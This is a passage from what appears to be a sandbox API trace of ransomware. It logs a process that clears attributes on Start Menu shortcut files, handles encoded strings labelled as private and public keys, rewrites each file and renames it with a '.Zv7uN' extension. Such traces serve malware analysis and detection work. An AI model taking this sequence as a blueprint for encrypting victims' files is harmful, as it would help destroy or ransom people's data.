"c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x554)) returned 1 [0131.542] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk")) returned 0x20 [0131.542] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk", dwFileAttributes=0x80) returned 1 [0131.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.546] GetCurrentThreadId () returned 0xa30 [0131.546] GetCurrentThreadId () returned 0xa30 [0131.546] GetCurrentThreadId () returned 0xa30 [0131.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.547] GetCurrentThreadId () returned 0xa30 [0131.547] GetCurrentThreadId () returned 0xa30 [0131.547] GetCurrentThreadId () returned 0xa30 [0131.547] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.547] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.547] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.547] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x554 [0131.547] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.547] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x554, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x554, lpOverlapped=0x0) returned 1 [0131.551] CloseHandle (hObject=0x1e8) returned 1 [0131.551] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.553] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x554, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x554, lpOverlapped=0x0) returned 1 [0131.555] CloseHandle (hObject=0x1e8) returned 1 [0131.555] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk.zv7un")) returned 1 [0131.556] GetCurrentThreadId () returned 0xa30 [0131.556] GetCurrentThreadId () returned 0xa30 [0131.556] GetCurrentThreadId () returned 0xa30 [0131.556] GetCurrentThreadId () returned 0xa30 [0131.556] GetCurrentThreadId () returned 0xa30 [0131.556] GetCurrentThreadId () returned 0xa30 [0131.557] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80c77e20, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Mobility Center.lnk", cAlternateFileName="MOBILI~1.LNK")) returned 1 [0131.557] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.557] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.557] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80c77e20, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4d6)) returned 1 [0131.557] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk")) returned 0x20 [0131.558] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk", dwFileAttributes=0x80) returned 1 [0131.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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